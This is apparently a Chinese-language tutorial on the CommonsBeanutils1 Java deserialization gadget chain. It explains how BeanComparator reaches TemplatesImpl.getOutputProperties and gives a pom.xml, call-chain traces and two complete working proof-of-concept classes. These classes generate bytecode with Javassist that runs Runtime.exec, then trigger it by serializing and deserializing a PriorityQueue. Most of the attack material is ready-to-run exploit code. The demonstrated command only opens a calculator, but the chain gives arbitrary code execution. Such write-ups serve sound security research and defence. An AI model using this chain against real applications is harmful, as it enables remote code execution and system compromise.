pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId> <artifactId>CC3</artifactId> <version>1.0-SNAPSHOT</version>
<properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.9.4</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.25.0-GA</version> </dependency> </dependencies> </project>
|
commons-beanutils
是应用于javabean
的工具
javaBean的定义
- 有一个public的无参数构造函数
- 属性可以通过get , set , is (可替代get,用在布尔属性上)方法或遵循特定命名规则的其他方法访问,也就是属性都有访问器和更改器
- 可序列化
在commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty
,让使用者可以直接调用任 意JavaBean
的getter
方法
1 2 3 4 5 6 7
| public static Object getProperty(final Object bean, final String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
return (PropertyUtilsBean.getInstance().getProperty(bean, name));
}
|
比如一个类Person
是个JavaBean
,他有一个name
属性,那么PropertyUtils.getProperty(new Person(),"name")
就可以调用到它的getName()
方法
抽象一下
1
| PropertyUtils.getProperty(new Person(),"abc")
|
在我们的利用中,并不是说真的去调用Person
类的abc
属性的getter
,而是调用getAbc()
,不管这个类有没有abc
属性
类似于CC2中的TransformingComparator
,需要找一个可用的Comparator
调用它的compare
方法
发现commons-beanutils
中的BeanComparator
类的compare()
方法调用了PropertyUtils.getProperty
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public int compare( final T o1, final T o2 ) {
if ( property == null ) { return internalCompare( o1, o2 ); }
try { final Object value1 = PropertyUtils.getProperty( o1, property ); final Object value2 = PropertyUtils.getProperty( o2, property ); return internalCompare( value1, value2 ); } catch ( final IllegalAccessException iae ) { throw new RuntimeException( "IllegalAccessException: " + iae.toString() ); } catch ( final InvocationTargetException ite ) { throw new RuntimeException( "InvocationTargetException: " + ite.toString() ); } catch ( final NoSuchMethodException nsme ) { throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() ); } }
|
再联想到之前TemplatesImpl
的调用链,当时是这样的
基本上的利用都是从newTransformer()
开始,但是getOutputProperties
同样也是public
,也是以get
开头
1 2 3 4 5 6 7 8
| public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } }
|
所以利用PropertyUtils.getProperty
就可以调用到TemplatesImpl
类的getOutputProperties
构造
首先就是TemplatesImpl
对象
1 2 3 4
| TemplatesImpl templates = new TemplatesImpl(); SerializeUtil.setFieldValue(templates,"_bytecodes",new byte[][]{classBytes}); SerializeUtil.setFieldValue(templates,"_name","feng"); SerializeUtil.setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
|
然后构造comparator
和优先级PriorityQueue
1 2 3
| BeanComparator beanComparator = new BeanComparator("outputProperties");
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
|
注意开头的o
要小写
接下来如果add
两次的话,需要提前修改property
,也可以直接用反射
1 2
| SerializeUtil.setFieldValue(priorityQueue,"queue",new Object[]{templates,templates}); SerializeUtil.setFieldValue(priorityQueue,"size",2);
|
然后序列化反序列化
1 2
| byte[] bytes = SerializeUtil.serialize(priorityQueue); SerializeUtil.unserialize(bytes);
|
poc1
1 2 3 4 5 6 7 8 9 10 11 12 13
| ObjectInputStream.readObject() PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() siftDownUsingComparator() BeanComparator.compare() TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() TemplatesImpl.TransletClassLoader.defineClass() Pwner*(Javassist-generated).<static init> Runtime.exec()
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| package evil;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
public class cb1 { public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode();
TemplatesImpl templates = new TemplatesImpl(); plu.setFieldValue(templates,"_bytecodes",new byte[][]{classBytes}); plu.setFieldValue(templates,"_name","aaa");
BeanComparator beanComparator = new BeanComparator("outputProperties");
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
plu.setFieldValue(priorityQueue,"queue",new Object[]{templates,templates}); plu.setFieldValue(priorityQueue,"size",2);
byte[] bytes = plu.serialize(priorityQueue); plu.unserialize(bytes);
} }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| package evil;
import javassist.ClassPool; import javassist.CtClass;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field;
public class plu { public static Object getFieldValue(Object obj, String fieldName) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); return field.get(obj); }
public static void unserialize(byte[] bytes) throws Exception{ try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes); ObjectInputStream oin = new ObjectInputStream(bain)){ oin.readObject(); } }
public static byte[] serialize(Object o) throws Exception{ try(ByteArrayOutputStream baout = new ByteArrayOutputStream(); ObjectOutputStream oout = new ObjectOutputStream(baout)){ oout.writeObject(o); return baout.toByteArray(); } } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); } }
|
poc2
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ObjectInputStream.readObject() PriorityQueue.readObject() PriorityQueue.add PriorityQueue.offer PriorityQueue.siftUp siftUpUsingComparator() BeanComparator.compare() TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() TemplatesImpl.TransletClassLoader.defineClass() Pwner*(Javassist-generated).<static init> Runtime.exec()
|
类似于cc2,add两个1占位,然后反序列化改成templates,直接在add后触发了BeanComparator#compare
记得要需要利用反射改传入beanComparator的property的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public int compare( final T o1, final T o2 ) {
if ( property == null ) { return internalCompare( o1, o2 ); }
try { final Object value1 = PropertyUtils.getProperty( o1, property ); final Object value2 = PropertyUtils.getProperty( o2, property ); return internalCompare( value1, value2 ); } catch ( final IllegalAccessException iae ) { throw new RuntimeException( "IllegalAccessException: " + iae.toString() ); } catch ( final InvocationTargetException ite ) { throw new RuntimeException( "InvocationTargetException: " + ite.toString() ); } catch ( final NoSuchMethodException nsme ) { throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() ); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| package org.example.cb1; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.beanutils.BeanComparator; import java.io.*; import java.lang.reflect.Field; import java.util.PriorityQueue;
public class cb1 { public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{ Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); }
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode();
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{classBytes}); setFieldValue(templates, "_name", "test"); setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator(); PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator); queue.add(1); queue.add(1);
setFieldValue(beanComparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{templates, templates});
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("result.ser")); out.writeObject(queue); ObjectInputStream in = new ObjectInputStream(new FileInputStream("result.ser")); in.readObject(); } }
|
这里的_tfactory
由于在TemplatesImpl#readObject中已经给赋值成这个了,
1
| _tfactory = new TransformerFactoryImpl();
|
而且_tfactory
本身是瞬态属性,无法反序列化,所以加不加都可以
1
| private transient TransformerFactoryImpl _tfactory = null;
|